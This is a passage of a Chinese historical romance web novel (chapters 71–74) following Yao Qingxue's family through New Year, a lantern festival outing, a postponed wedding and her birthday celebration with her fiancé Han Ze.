外面爆竹声声,也不知过了多久,四面八方爆竹声突然震天响,子时已到。姚轻雪和芽芽趴在窗前往外看,偶尔能看见天空闪过一个亮点,不知谁家的爆竹飞那么高。 子夜过后几人都有点扛不住,姚轻雪不打算守到天明,她拉上芽芽回屋睡觉。 俩孙女走后,刘氏从床下拿出酒坛,姚福从柜子里拿出两个酒盅。刘氏斟满酒后拿起酒盅与姚福手里的碰了碰。“祝咱们家越来越好,祝雪儿和芽芽平安顺意、后半生幸福美满!” 姚福笑道:“也祝你我长 命百岁,看着她俩生儿育女幸福美满。” 夫妻两个都笑了,将杯中酒一饮而尽。【你现在阅读的是 】 70-80 第71章 第71章上元节 过年前后是京城一年当中最冷的日子,今年又赶上下雪。姚家没有人外出做工,也不用出摊卖东西,所以从除夕那日开始祖孙四人便没有出过门。家里肉和菜都足足的,吃十天半月没有问题。 刘氏感慨:“活了大半辈子,头一次过了个轻省年。”不用为生计发愁,不用担心银子花空了没饭吃。每日上顿肉下顿肉,有生之年竟然有吃肉吃腻的时候。 “奶奶,这才到哪儿啊?您和爷爷的好日子还在后头呢。”姚轻雪拿了块炸肉放进刘氏嘴里。“您和爷爷好好养着身体,身体好活得久才能享着福,今年只是开始,往后一年会比一年好,您二老就等着我和芽芽孝顺你们吧。” “好好!”刘氏乐得见牙不见眼。 芽芽有样学样,也拿了块炸肉递到姚福嘴边:“爷爷吃!多吃肉身体好。” 姚福乐呵呵地吃了酥肉,芽芽再喂他就不要了。“年纪大了,比不得你们,多吃几口晚饭就吃不下了。” 这几日肉吃得多、零嘴不断,白天又不怎么活动,四人都不觉得饿,尤其是姚福和刘氏根本吃不下,所以午饭就省了。 每日除了做吃食也没什么好消遣,姚轻雪就用韩漳送的贝壳和海螺当棋子,和芽芽玩五子棋。玩了两日也玩腻了,姚轻雪往盒子里收贝壳时突发奇想,把贝壳和海螺缝在包上做装饰,芽芽一定会喜欢。 她女红不行,于是姚轻雪就让奶奶用皇帝赏的绸缎做了一个半圆贝壳状的小包。她和姚福负责把贝壳和海螺钻孔,芽芽给三人打下手,四人都忙起来,两天时间就做好了一个带着贝壳和海螺装饰的斜挎包。 包上有小鱼刺绣,与贝壳和海螺相得益彰,看上去特别精致漂亮。芽芽喜欢的不得了,恨不得睡觉都背着。乐了两天她问姐姐和奶奶能不能再做一个? 刘氏问她为什么?小姑娘期期艾艾地说想送给韩娇。在韩家养病的那几天,韩娇总在床边和她说话,陪她解闷。本来她该自己做礼物送给韩娇,但是她女红也不行,还不会给贝壳钻孔,所以小姑娘有些不好意思。 孩子懂得感恩是好事,刘氏痛快答应,于是四人又开始做包。忙碌的日子过得格外快,转眼就到了正月十五。 黄昏后姚家大门被重重拍响,姚福刘氏和芽芽在玩五子棋,姚轻雪去开门。她有预感可能是韩泽。 打开大门一瞧,不止有韩泽,韩漳、韩莺、韩娇,还有韩家表姑娘姜玥瑶,这群人出现在眼前着实让姚轻雪感到意外。“你们这是?” 韩泽无奈:“今日有上元灯会,本想和你逛灯会,但他们非要跟来。” “一起逛热闹嘛。”韩漳笑道。 韩莺挽上姜玥瑶的手臂,对姚轻雪道:“今年是表姐最后一次与我们逛灯会,你可不准反对。”三月姜玥瑶出嫁,嫁人后她就不能像现在这般与表哥表妹一起玩了。 “姚姑娘,打扰了。”姜玥瑶带着几分心虚。这么多人跟着真真是打扰了二人相会。 “不打扰,人多热闹。”年前与韩母商议正月二十请期订迎亲的日子,日子一旦定下就要发请帖告知亲朋、准备酒席,所以姚轻雪清闲的日子也没几天了。今日就出去痛快地玩一场。 姚轻雪叫上妹妹上了韩家的马车。芽芽背着贝壳和小小海螺的包,韩娇一眼就相中了,问她哪里买的? 芽芽笑眯眯又拿出一个同款不同色的小包送给韩娇,“奶奶和姐姐做的,我和爷爷也有帮忙,这个送给你。” 如此独特的包在京城怕是独一份,韩娇小心地接过来背在身上,韩莺也有点喜欢,但包的大小和款式是给小姑娘用的,她作为大姑娘不好意思跟妹妹抢,看几眼便别过头去。 这么多人挤在一辆车里,韩泽颇为嫌弃,他冷着脸问韩莺:“明明还有马车,你为何偏要过来挤?”韩家来了两辆马车,来时韩泽和韩漳坐一辆,韩莺韩娇和姜玥瑶坐另外一辆。 接上姚家姐妹,姚轻雪和韩泽自然坐同一辆,芽芽要和姐姐一起。韩娇想和芽芽一起。韩莺也要过来,姜玥瑶也不好单独和三表哥坐一辆车。于是就形成了韩泽这辆马车人挤人,韩漳独坐一辆马车的局面。 “哼,大哥你还说我。”韩莺不忿,“你该坐到三哥那边去才是,这辆是我们女孩子坐的。” 韩泽深感无力,明明是他和雪儿先上来的,韩大人想着等回来一定把她们丢给韩漳。 芽芽和韩娇坐在一起,她俩身后便是车窗,芽芽撩开帘子,然后惊呼:“快看外面,兔子灯、鲤鱼灯,好多灯啊。” 上元之夜满城灯火,即便不是举办灯会的大街小巷也是张灯结彩、灯火摇曳。韩莺顾不上跟大哥斗嘴和姜玥瑶也凑到窗边,几个姑娘挤在小小的窗前看了一路的街边花灯。 灯会上人头攒动,时不时有烟花在空中炸出绚烂的色彩。女孩子们都很兴奋,迫不及待地扎进人群中。 天上圆月高悬,地上彩灯竞放,众人吃着小吃、看彩灯和烟花,间或猜猜灯谜。芽芽第一次来这么热闹的地方,眼睛都不够看了,韩娇领着她直奔糖葫芦的摊前,她回头数了一下人头,给每人买了糖葫芦。 韩泽并不喜欢这东西,但妹妹给的他也不好拒绝,韩大人皱着眉头看糖葫芦,不知该把它怎么办。 姚轻雪夺过他手里的糖葫芦,调侃道:“不吃给我,你能把它瞧没了不成?”她一手一根糖葫芦,韩泽怕她被人冲撞,张开手臂护在她身侧。 姜玥瑶回头看走在后面的两人,见韩泽这般护着姚轻雪,很是羡慕,在心里祈祷未来夫君也会这般待她。 姚轻雪左顾右盼,突然在人群中看见了熟人,她胳膊肘碰碰韩泽,用下巴点了点那个方向。“那是不是你二弟?他今日没跟你们来,原来是与姑娘有约了啊。” 韩泽顺着她眼神的方向看过去,就见韩浩正与一位姑娘面对面站着。韩浩好像说了什么,他眼前的姑娘羞涩一笑,韩浩挠挠头傻笑。“那位姑娘是国子司业周大人家的女儿,我们成亲后,二弟便会与其定亲。” 那她以后岂不是和这位周姑娘是妯娌?姚轻雪抻着脖子想将那姑娘看仔细,但眼前总有人走动,她干脆往那边去。“我们去打个招呼吧。” 韩浩正与周芸姝你侬我侬,两个有情人眼里只看得见对方,周围行走的路人都没能打扰他们,所以就没发现身边突然站了两个人。 姚轻雪也不出声,咬一口糖葫芦饶有兴趣地看眼前小情侣。心里感慨韩浩真有福气,这姑娘长得真美,明眸皓齿、光艳照人。尤其是她满面娇羞捂嘴轻笑的模样,看得人心都化了。 哎呀呀,女孩子含羞带怯的模样真令人心动啊。姚轻雪眨眨眼,忽然转头对韩泽抛了个媚眼,然后装作害羞地扭头。若是忽略她嘴边沾上的糖葫芦残渣,或许还有得一看,但现在、就很滑稽。颇有东施效鼙的感觉。 “别闹。”韩泽扶额,“扭扭捏捏不适合你。” “哪里扭捏了?”姚轻雪不服小声道:“我这是羞涩,哼,不懂欣赏。” “大、大哥!”韩浩终于发现身边站着人了。 “嗯。”韩泽应了一声,拿出帕子给姚轻雪擦了擦嘴。 韩浩和周芸姝都有些发愣。 这下姚轻雪是真的有些羞了,她往旁边跨开一步远离韩泽,然后将左手完好的糖葫芦递到周姑娘面前,“你好!初次见面,请你吃糖葫芦。” 周芸姝一愣,不知该不该接,她看韩浩。 韩浩:“这位是我兄长的未婚妻。” “原来是姚姐姐!”周芸姝颔首,接过糖葫芦,然后对韩泽行一礼。 韩泽颔首回礼,对韩浩道:“不打扰你们了 。“说完他牵着姚轻雪空出来的左手转身走入人群。 姚轻雪回头对周芸姝笑了笑,还举起吃了一半的糖葫芦挥了挥。周芸姝也跟她挥挥手。而后对韩浩道:“未来大嫂是个有趣的人。” “嗯,她性子很好,将来你们或许相处得来。”韩浩伸出手,周芸姝愣了愣,然后羞答答把手递过去。 他们认识这么久,从来没有牵过手,刚刚见韩泽和姚轻雪那般自然地手牵手,两人也大胆起来。 姚轻雪和韩泽回到刚才离开的地方,但没看见韩莺和芽芽他们,但也没着急,几个姑娘身边有韩家护卫跟着,不会有危险。 前方围了很多人,叫好声不断,远远地就可以看到高高窜起的火焰。姚轻雪拉着韩泽往那边去,走到人群后她忽然看见一个姑娘身后多出一只手,再仔细瞧是有人想伸手勾她腰间的荷包。 今日这种场合人多人杂,小偷小摸最好下手,警惕心差的女子就是最好的目标。 “你看。”姚轻雪指给韩泽。 韩泽想都没想大步过去一把抓住窃贼的手,时机刚刚好。贼人刚把荷包解下来,心里正在窃喜便被人当场逮住。他想抽出手但没拽动,便放狠话:“劝你少管闲事。” 这时姑娘终于发现荷包被偷了,“啊,我的钱袋。”她一把夺过贼人手里的钱袋。 小贼恼羞成怒,挥拳便要打。韩泽一个扫堂腿把他放倒在地。这时突然过来三四个男人把他围住。 “呵!”韩泽冷笑,“竟是团伙,今日就都别走了。” 第72章 第72章推迟 几个毛贼以为韩泽是软脚虾,本想好好教训他坏他们好事,结果一上手三两下就被打得躺地上起不来。 姚轻雪一点没着急,反而看热闹看得起劲儿,巴掌拍得“啪啪”作响。 看杂耍的人们回头一看,吆,还有争跤表演,不明所以的也跟着啪啪拍巴掌。拍了两下发现一方压倒性致胜,完全没看头,遂转过身继续看人喉咙喷火。 这边的动静把巡逻的士兵引来,韩泽亮出身份,五个毛贼被五花大绑押去衙门。被偷荷包的女子看打扮还未出闺阁,她两眼亮晶晶地看着韩泽。 今日深居简出的闺秀们都盛装打扮出来游玩,有人希望有一场浪漫的邂逅,觅得一份良缘。显然眼前的姑娘把韩泽当成了她那份浪漫。 一见苗头不好,姚轻雪立即挽住韩泽手臂宣誓主权。俩人走出去老远,那姑娘还嘟着嘴不高兴地看着他们。 姚轻雪戏谑道:“人家姑娘对你一见倾心了。”她戳戳韩泽的胸口,“韩大人,你怎么这么招人?以后可叫我怎么放心啊。” 韩泽攥住她微凉的指尖,“不放心看紧点便是。” “我哪看得过来,这种事要靠你自觉啊韩大人。”嘴上这么说,姚轻雪对韩泽还是很放心的。 明明可以左拥右抱,却对女人敬而远之。过了二十还是这个样子,韩夫人一度以为儿子有隐疾,还请郎中偷偷给他瞧病,结果什么病都没有。分寸感是他刻在骨子里的修养,不管韩泽娶的是不是她,这个男人都不会乱来。 这么好的男人被她抓住了,姚轻雪心里美滋滋,她扯着韩泽的胳膊轻轻摇晃,“我要那个红色月季,你给我买。”声音柔的能滴出水来。 韩大人的心都叫她给柔化了,哪有不答应的道理。“买!” 姚轻雪一手拿花,一手挽着韩泽的胳膊,在人群中穿梭。突然姚轻雪脚步一顿,韩泽顺着她的视线看过去,就见几步外白婉清定定地看着他。 韩泽对白婉清微微颔首,带着姚轻雪与她擦肩而过,韩大人未及只言片语也没有给她一个眼神。而白婉清的眼神从最初的心痛,忽然变成了刀子似的射向姚轻雪。 姚轻雪有些心虚,她当初信誓旦旦保证,她只是厨娘不会与韩泽有任何关系,现在她食言而肥,白婉清定是恨透了她。 感情的事真的很难说,姚轻雪在心里叹气,其实她对白婉清有些佩服。女子对婚姻做不了主,而白婉清不惧流言蜚语也要坚持喜欢一个人,这与飞蛾扑火无异,换做是她绝对做不到。 白婉清勇气固然可嘉,但是,这样做除了让她深陷泥潭又得到了什么?感情是双方的,若是因为旁的原因爱而不得还情有可原,值得同情,问题是韩泽对她没有丝毫男女之情,单方面的付出终究不会有结果。 白婉清定定看着两人没入人群,看不见踪影依旧呆呆地站在那儿,被路过的人撞了也毫无所觉。 “小姐,走吧。”侍女心疼地扶着她转身。 白婉清像是木偶一样挪动脚步,韩泽正在议亲她是知道的,今日出来不过想碰碰运气、再看他一眼,看一眼她便知足了,从此山高水远永不相见。 走着走着她突然笑了,她白婉清要家世有家世,要样貌有样貌,也有京城才女的美名,最后竟然输给了一个厨娘,如今她是京城最大的笑话。 “哈哈……”白婉清大笑不止,周围的人纷纷躲避。 “小姐!”侍女慌了神,“您不要吓我!” 良久白婉清止住笑,她擦了一下眼角,丝毫不在乎旁人异样的眼光,她已经习惯了,或者说不在乎。“走吧,明日我便回老家。”京城已没有什么值得留恋了。 姚轻雪和韩泽走出不远便与芽芽等人相遇,几个姑娘手里满满当当。韩漳一人提着五盏灯笼,他递给姚轻雪一盏荷花灯:“姚姐姐送给你。” 芽芽走到姐姐身边,高兴地说:“韩三哥哥给我们都买了花灯,姐姐的是我挑的,我的是小猫,像小白。”她两手提着好几个纸包,看上去都是吃食。 “还有还有,很多人问我和芽芽的包在哪里买的?”韩娇一脸兴奋,“有人她想用十两银子买包,芽芽想卖我没让。” 芽芽不好意思道:“十两银子,好多呢。”她听爷爷奶奶说以前卖包子一个月才赚二三两。十两银子无疑是一笔巨款。 姚轻雪摸摸妹妹红红的小脸:“不卖,你留着。”其实她心里是有一点可惜,海螺贝壳这边少见,海边却多到没人捡。要是弄来一些,做成女孩子喜欢的饰物,上元节一定能赚一笔。 “大哥,我要泥偶,给我买泥偶。”韩莺冲韩泽嚷嚷。 韩泽:“出门前,母亲不是给你银钱了,不够?” “够,但今日哪有让女孩子花银子的。”韩莺振振有词,她看了一眼姚轻雪手中的绢花,“姚姐姐的花难道是她自己买的吗?” “大哥!轮到你了。”韩漳一副看好戏的模样。 “我也要泥偶。”姚轻雪跟着起哄。 几双眼睛巴巴地看着他,韩泽默默掏出钱袋。姚轻雪一把拿过去,招呼姑娘们过去挑泥人。 “女孩子太能买东西了。”韩漳给大哥展示空了的荷包。妹妹几个一路嘴就没停下过,吃吃喝喝,还要买了带回去。眼看银子快没了,他赶紧带人找大哥,不能可着他一个人来啊。 几个姑娘最后把韩泽的钱袋也花的差不多了方才往家走,回到葫芦巷都快午夜了。姚福和刘氏等她俩到家才回屋睡觉。 过了两天安生日子,十九这日刘氏早早起来收拾屋子,姚福打扫院子。明日请期,得把家里收拾得干干净净。 姚轻雪和芽芽也没闲着,屋里该擦的擦、该洗的洗。晚饭后一家人围坐在桌边玩着棋子。辰时刚过芽芽开始打哈气,刘氏把石子收到盒中。“去睡吧,明日得早起呢。”其实日期两家都商议好了,定在二月二十六,明日不过是走下过场。 姚轻雪脱了衣服刚躺下,就听见有人敲大门,姚福出门问了声谁?她竖起耳朵听,没听见人声,但大门响了,爷爷开门了。 这么晚了会是谁?姚轻雪穿上衣服走到院中,借着屋里的灯光她瞧见韩泽牵着马站在大门外。姚轻雪快步走过去,“这么晚你怎么来了?” 韩泽看着她,语气沉重:“婚期得延后了。” “出了什么事?” “四皇子夭折。”韩泽小声道,“将军府此时不宜办喜事,父亲母亲和祖母商议后决定将婚期推迟到秋天。”四皇子才两岁多,他的死不会昭告天下,正常不会影响百姓嫁娶,但韩家身份不同,得做出样子。 “老头子,谁来了?”姚福久久没回屋,刘氏在屋里问。 姚轻雪:“爷爷您回屋吧。” 姚福走后,韩泽放软了声音:“抱歉!” “不怪你,这么晚了你还过来做什么,明早派人说一声就行了。天黑路不好走,等会儿回去骑马慢点。”夜里冷得很,韩泽骑马跑一个来回,想想都不好受。姚轻雪语气里满是担忧和心疼。 韩泽心一软,两手从斗篷里伸出来,把姚轻雪揽进怀里,“没有料到会发生这样的事。”四皇子生下来身体就不大强健,但谁也没想到刚过年就不行了。 “没事。”姚轻雪钻进韩泽的斗篷里,两手搂住他的腰,“推迟就推迟嘛,左右不过半年,你别着急。” 韩泽轻笑,不轻不重地拍了下她的后腰,“难道只有我急?你不急?” “嘿嘿!”姚轻雪傻笑,“有那么一点点。” 见俩人没完没了,踏雪等的急了,它把头伸到韩泽面前想咬姚轻雪,韩泽把马脸推到一边。姚轻雪感受到踏雪鼻孔里喷出的热气,就知道这家伙又要使坏,赶紧从韩泽怀里出来。 韩泽拉住缰绳不让踏雪捣乱,“回去吧。最近我怕是没空过来看你,家里要是有什么事情就派人去将军府找母亲。” “知道了,家里没什么事,不用担心。” 送走了韩泽,姚轻雪来到爷爷奶奶房间,两位老人都披着衣服坐在床边等着。 刘氏:“亲成不了了?” “嗯。”姚轻雪把韩家的立场说了一下。 姚福叹气:“韩家跟咱们不一样,这也是没办法的事。” “推迟半年也没什么,秋天暖和,办喜事比二月强。”刘氏倒是觉得挺好。反正俩人已经定亲了,韩泽是姚家孙女婿这事跑不了,迟一点也没关系。 秋天菜多,不像二月青黄不接,姚家虽然没啥亲戚,但左邻右舍和做生意认识的一些人总要请几桌,算下来也是不少银子。 关键是孙女能在家多待半年,刘氏非但没有因为婚事推迟而不满,反而有那么点高兴。 韩泽一连半个多月没有来姚家,姚轻雪去大理寺给他送午膳也没见到人。 第73章 第73章祖孙缘分 进了二月天气有所回暖,姚福和刘氏说什么都不在家待了,硬是把摊子支了起来,还不让姚轻雪帮忙。说她现在身份不同了,是将军府未来的儿媳,不能站在街边卖东西,会叫人说闲话,也会让韩家不喜。 两位老人养了一个冬天,干劲十足,尤其是刘氏。这大半年以来吃得好,家中进项多,忧虑少了,她的心疾都没有以前那么重了。姚轻雪见爷爷奶奶身体没有问题便随他们了。 不知道韩泽在忙什么,很久没来看她,也不知他回没回太平巷。现在以他俩的关系,姚轻雪不能再去给他做厨娘,更不可能去别人家做工。 姚轻雪并不打算成亲以后在韩家混吃等死,虽然韩家养得起她,但她是闲不住的人,她要有自己的事情做。 是时候把开食肆提上日程了。于是姚轻雪出门逛,想看看哪里有店铺出让。满大街转了两天一无所获,这样找太过盲目,人还累得腰酸腿疼,于是她找到李通,通过牙人更靠谱。 李通让她别着急,好位置轻易不会转让出去。姚轻雪也知急不得,开店选址位置决定成败。她宁愿用几个月时间找合适的店铺,也不会随便找一家凑合。 事情托给李通,接下来的日子姚轻雪便在家做卤味,姚福和刘氏只管出去卖,家里的事一概不用管,老二轻松不少。姚轻雪坚持每日定量,差不多午后就能卖完,卖完就回家。晚上一家人吃饭闲聊,姚家四口的日子过得十分舒心惬意。 这日姚福和刘氏卖完卤味回家,两个孙女已经将饭菜做好等他们了。二老面前除了碗筷还有两个酒杯,里面飘出酒香。最近刘氏养成了每日喝一杯的习惯。她喝的高兴也不贪杯,少喝点酒对身体也有好处,姚轻雪就随她了。 但今日刘氏兴致非常高,上桌吃了几口菜后,一仰脖把一杯酒全喝了,完了还要倒。 “奶奶,酒不能这么喝,会醉的。”姚轻雪一手按住酒坛不让老太太倒。 刘氏拍掉孙女的手,“今儿我高兴,多喝几杯,大不了明日在家睡大觉。” 宁愿在家睡觉也不出去赚银子,这可是有史以来头一回,姚轻雪非常好奇刘氏因为什么事高兴?她转头想问姚福,一瞧姚福已经喝完两杯酒。 芽芽眨巴眨巴眼睛问:“爷爷奶奶,你们捡到银子了?” 姚福和刘氏大笑,“比捡银子还高兴。” “到底什么事啊?您二位别卖关子了,不说我可不让您喝了。”姚轻雪再次按住酒坛不让刘氏倒。 “让你奶奶喝个痛快吧。”姚福拿过酒坛亲自给老伴倒满酒。 刘氏一仰脖,第三杯酒下肚,“咚。”她把酒杯重重放到桌上,“德运楼被官府查封了,听人说张家人都被下了大狱,尤其是那抢咱家方子的张茂才据说犯了死罪,活不了了。” 姚轻雪一顿,德运楼倒了?她想到百花巷那处不可言说的宅子,猜测此事或许与韩泽有关。自打上元节后韩泽一直没有露面,去大理寺给他送饭,有人说韩大人忙着查案行踪不定。 “天道好轮回,让他抢咱家方子,要不是韩大人帮忙,咱家的方子怕是保不住了,作恶多端早晚有一天会被老天收走……”刘氏今日喝得不少,骂了张家好一阵才住嘴。 “来,再给我满上。”刘氏满脸通红,指着酒坛的手左右晃,显然是醉了。 “奶奶,吃点菜,光喝酒会难受的。”姚轻雪往她碗里夹菜。 芽芽夹了一块肉递到刘氏嘴边:“奶奶吃肉。” “哎,还是我孙女孝顺。”刘氏一口吃掉芽芽筷子上的肉。 姚福酒量比她强,不用人管他自己吃几口菜喝一口酒,喝了三杯脸色丝毫没变。老太婆骂够了,他也就没啥好说的,他就是不大明白:“那么大的酒楼咋就突然被封了呢?” “还能为什么?”刘氏斜他一眼,“坏事做尽遭报应了呗,嗝、”就那癞蛤蟆还想娶她家雪儿做妾,简直是痴心妄想,那张茂才哪儿点比得上韩泽。“对了,最近润青怎么没来?有些日子没看见他了。” 姚福:“他又不是啥闲人,哪能总往这边跑。” “也对。”刘氏点点头,随即眉飞色舞道:“孙女婿厉害给咱家长脸,自从韩家媒人上门那日起,巷子里的人对我都客气了几分,我刘长娟一辈子都没这么风光过。以前他们笑话咱家俩丫头,没有顶门的男人,他们有儿子又怎样?哪个有我孙女能干?不到半年赚了他们一辈子都赚不到的钱。哪个有我孙女婿厉害?要家世有家世、要本事有本事,对我孙女好的没得说……” 刘氏确实醉了,平日闷在心里的话今日一股脑都说了出来。谁也没拦着,让她说个痛快。说完她歪头趴在桌上不动了。姚轻雪把奶奶扶回房间。 次日刘氏丝毫没有受影响,依然和姚福出摊卖卤味。走之前,刘氏跟姚轻雪道:“过两日是你生辰,以前煮两鸡蛋糊弄了事, 今年二月十七不出摊,奶奶给你好好过生辰。” 十八年前的二月天气十分反常,明明已经开始冰雪消融,却在中旬下了一场大雪。姚福顶雪卖包子,但路上行人寥寥,那日的包子卖得十分不好。 午后天气阴沉沉,再加上风大,八尺外就看不清人了。姚福挑着没卖完的包子往家走。路过一处巷子时他听见猫叫,起初没在意,可是走过去一段后他惊觉不对,那根本就不是猫叫的声音。 姚福走回来,寻着微弱的声音在雪下扒出一个襁褓,里面的孩子正是姚轻雪。从此二月十七便是姚轻雪的生辰。 见孙女愣神,刘氏走上前拉住她的手。“以前我和你爷爷从来不提这个日子是怕你伤心,但现在奶奶觉得没什么可难过的。若不是你爷爷捡到你,我们就不会有这场祖孙缘分,奶奶觉得这是老天爷的安排。我们家雪儿苦尽甘来,后半辈子定会幸福美满,这个日子值得庆祝。” 姚轻雪眼眶微热,“好!” 二月十七,刘氏果然没有出摊。早饭后她和姚福出去买菜,芽芽非要跟着。而今日的寿星姚轻雪便被勒令在家什么都不许做。姚轻雪承了他们的好意,送三人出门后回屋练字。 她把纸铺在桌上、研好墨,刚提起笔小白就跳上桌子。姚轻雪指了指白猫警告:“不准挠,不然揍你。”她每次练字,小白都跑来捣乱,把纸抓的稀巴烂。 小白往门口看了看,姚轻雪冷笑:“芽芽不在家,没人护着你,你最好给我老实点。” 小白是识时务的猫,知道姚轻雪不惯着它,小主人不在它就暂时耐住痒痒的爪子,老实趴在桌上,扁圆的猫脸特别无辜乖巧。 姚轻雪揉了揉小白的大脸后才拿起笔练字。她边写便跟小白说:“过几天芽芽要去读书,没人跟你玩了,给你做几个球,你自己在家里滚着玩吧。” 这些天她打听了附近的私塾,距离葫芦巷五条街的地方,有一家私塾收十岁以下的女童。她已经跟先生说好三月份就把芽芽送过去。现在芽芽身体没有任何不适,下月送她去读书该是没有问题的。 过年芽芽八岁,这个时候才上学实属是晚了些,最多能在私塾学两年,不过没关系,启蒙后她可以自学,再不济还有她这个姐姐教呢。 巳时中大门轻响,出去买菜的三人回来了。 “姐姐!”芽芽趴在门边歪着脑袋看她。 姚轻雪以为她要自己出去看他们买的东西,便放下笔走过去。芽芽拽过她的手,把一个手链给她戴上。 “给我的?”姚轻雪略感惊讶。 “嗯。”芽芽点头,“送给姐姐的生辰礼物,我的零用钱只够买这个。”小姑娘有些不好意思。 姚轻雪端详手链,一颗颗瓷做的小珠子,珠子上有水墨的图案,每颗珠子都不一样。一条朱红的小鱼缀在珠子中间。手链并不贵重,但样子十分别致。 “谢谢芽芽!”姚轻雪抱了抱妹妹,“我妹妹最好了。” 芽芽害羞,“也没有那么好。” 姚福和刘氏在院子里看着姐俩,高兴的合不拢嘴。姚轻雪要帮忙准备午膳,二老不让,把她推进屋里让她和芽芽玩。 芽芽扯着姐姐进屋,小白见给她撑腰的小主人回来了,终于伸出了罪恶的爪子,把姚轻雪写了一半的纸挠出几个洞。 “小白!”芽芽生气,拍了一下白猫。 这一下跟挠痒痒似的,小白根本不在乎,继续挥爪。姚轻雪把写了字的几张纸团成球扔到地上,小白被吸引过去,跳下桌子玩纸球去了。 芽芽头上的珠花歪了,姚轻雪重新给她戴好。珠花是她在严州府买的,芽芽非常喜欢每天都要戴着。 “姐,我年纪这么大一个字都不认识,先生会不会嫌弃我?”芽芽对读书充满期待,但也有几分忐忑。 第74章 第74章生辰 去陌生环境,接触陌生的人,心中难免会有不安。尤其是穷人家极少会送女孩子读书,被人看轻也很正常,芽芽的担忧不无道理,姚轻雪也有这样的担心,但她不能说,她得给芽芽鼓励。 “只要你读书认真,先生就不会嫌弃,先生最喜欢用功的孩子。年龄大也不怕,什么年纪读书都不晚,姐也是刚认字没几个月。即便有人说你的闲话,也不要放在心上,等将来你学到很多知识,就会发现那些人是多么肤浅。” “可是我没有姐姐聪明。”芽芽嘟着嘴小声说。 “读书一事聪明与否并不是十分重要。我们读书不为科举,而是为了让自己变得更好。尽力学你想学的东西就好,姐说这些你现在可能不懂,你只要记着你是给自己读书,不要管别人的态度。两年后私塾不收你,姐也会找地方让你继续读书。你将来要做有见识的姑娘,不要和那些不懂事的人计较,若是有人欺负你,回来跟姐姐说。” “嗯。”芽芽重重点头,眼神异常坚定,“我会好好读书,识字明理,长大像姐姐一样。” “像我一样?”姚轻雪笑,“像我什么?”她倒不知自己成了妹妹的榜样。 “像姐姐一样能干,赚好多银子,照顾爷爷奶奶,照顾我……”芽芽细数姐姐的好,“还会打架,不让人欺负我。”在她眼里姐姐就是最厉害的人。 “好,就做姐姐这样的人。” 一个时辰后姚家堂屋摆了一桌好菜,鸡、鱼、排骨,就连这个季节很贵的青菜刘氏也买了。 芽芽拉着姚轻雪坐下,刘氏拿出三个酒杯,她和姚福各一杯,最后一杯给大孙女。“长这么没让你沾过酒,今日破戒,我听说大户人家的女眷常去参加什么宴席,吃酒是常事,你也得练练,不然到时候露怯。” 姚轻雪心想早就破了,很早之前就跟韩泽喝过酒,但她没敢说,不然刘氏非得打破砂锅问到底。多一事不如少一事,奶奶高兴就好。 刘氏刚放下酒坛就听有人敲大门。姚福:“我去瞧瞧。” 三人在屋里等着,谁都没动筷子。不多时,韩泽提着一个食盒和一个锦盒走进来。他先跟刘氏问好,然后把锦盒递给姚轻雪:“生辰快乐!” 姚轻雪意外,她着实没有想到韩泽会记得她的生辰,而且特意跑来给她送礼物。她接过锦盒。“多谢!” 韩泽:“打开看看喜不喜欢。” 姚轻雪打开锦盒,芽芽惊呼:“好漂亮!” 只见锦盒里摆着几件赤金累丝梅花样式的珍珠首饰,所有珍珠都圆润光滑,没有一点瑕疵,珍珠排簪上最大的那颗珠子足有拇指大。刘氏数了数共有十二件。这样一套头面价值不菲,刘氏眼里都是笑意。 刘氏拿来新碗筷和酒杯放到韩泽面前:“来得早不如来得巧,我们还没动筷子呢。” 韩泽颔首:“我知今日您家定会有好菜,便掐着时间来了。”他把食盒打开,“我带了万福楼的炙羊肉和两样糕点做添菜。” “万福楼的菜。”刘氏笑着接过食盒,“我今日可得尝尝。” 都坐下后,姚轻雪对姚福和刘氏举起酒杯,“谢谢爷爷十八年前没让我冻死在雪地里,谢谢奶奶一口口米汤把我喂活,没有二老就没有我。不管外人说什么,你们就是我的亲爷爷亲奶奶,我定会好好孝顺你们。” “还有我!”芽芽急得起身,她也想像姐姐一样端酒,但酒压根就没有她的份,小丫头把饭碗端起来举到对面。“我和姐姐一起孝顺爷爷奶奶。” “好!”姚福抹了下眼睛,“养了两个好孙女,这辈子知足了。” 韩泽举起酒杯:“我也要感谢二老把雪儿养得这么好,她嫁到韩家依然是姚家的孙女,今后姚家的事就是我的事。” “好,好。”姚福连说了两个好字。 四人端着酒杯碰了碰,然后又都和芽芽的饭碗碰了下,然后大家哄堂大笑。姚福和刘氏高兴喝了不少。饭后姚轻雪扶他们回屋睡觉。她要收拾饭桌,芽芽把她推回房间,“寿星今日不干活,我来。”小小的人一趟趟往灶房收拾碗碟,芽芽平日就帮着做饭收拾家务,这点活难不倒她。 回到房间姚轻雪第一时间跟韩泽炫耀手串:“好看吧,芽芽送的。” 韩泽看了一眼被她放在桌上的锦盒,“我送的你不喜欢?” “喜欢啊!不一样,这可是我妹妹送的。”姚轻雪晃着手腕美滋滋。 韩大人抓住她的手,板着脸问:“在你心里我和芽芽谁重要?” “哈哈!”姚轻雪大笑,“吃醋一点都不适合你。”韩泽才不会为了这种小事费心思。 “好吧。”韩泽泄气,跟小姑娘争风吃醋他确实干不出来。 两人并排坐在床边,姚轻雪像小孩一样,头一下一下敲打韩泽的肩膀。“谢谢你记得我生辰,谢谢你送我礼物。其实今日也许根本就不是我生辰,我从来不觉得这个日子值得纪念,但奶奶的话让我很有感触,今日也许值得庆祝。” “几时生辰不重要,没 有亲缘关系也不重要。“韩泽握着她的手,“爷爷奶奶始终把你放在最重要的位置,这份情才最难得。”姚家四口完全没有血缘关系,可就是这样被诟病的组合,是多少人家羡慕不来的和睦美好。 “嗯。”姚轻雪点了下头,脑袋顺着韩泽胳膊往下滑,然后她又支棱起来继续靠在他肩膀上。 韩泽低头,见她眼睛闭着:“困了?要不要躺下?” “不要。”姚轻雪闭着眼嘟囔,她两手缠住韩泽的手臂,“我每日有大把时间,想躺随时都能躺,见你却要等很久。” 雪儿这是想他了?韩泽的心一软,“是我不好,最近太忙了,都顾不上过来看你。” 姚轻雪哼哼两声,韩泽又道:“大概还得忙几天,等过了这段时间就能闲下来。” “好吧。”姚轻雪不情不愿道。 “不高兴了?”韩泽轻轻捏了捏她红润的脸蛋。雪儿眼神迷离的样子很可口,可惜俩人还未成亲,他得守礼守规。 姚轻雪慢慢挣开眼便看见一张俊脸近在咫尺,她咽了咽口水,然后亲了上去。嘴唇相贴之际韩泽脑中“轰”的一声炸开了花。 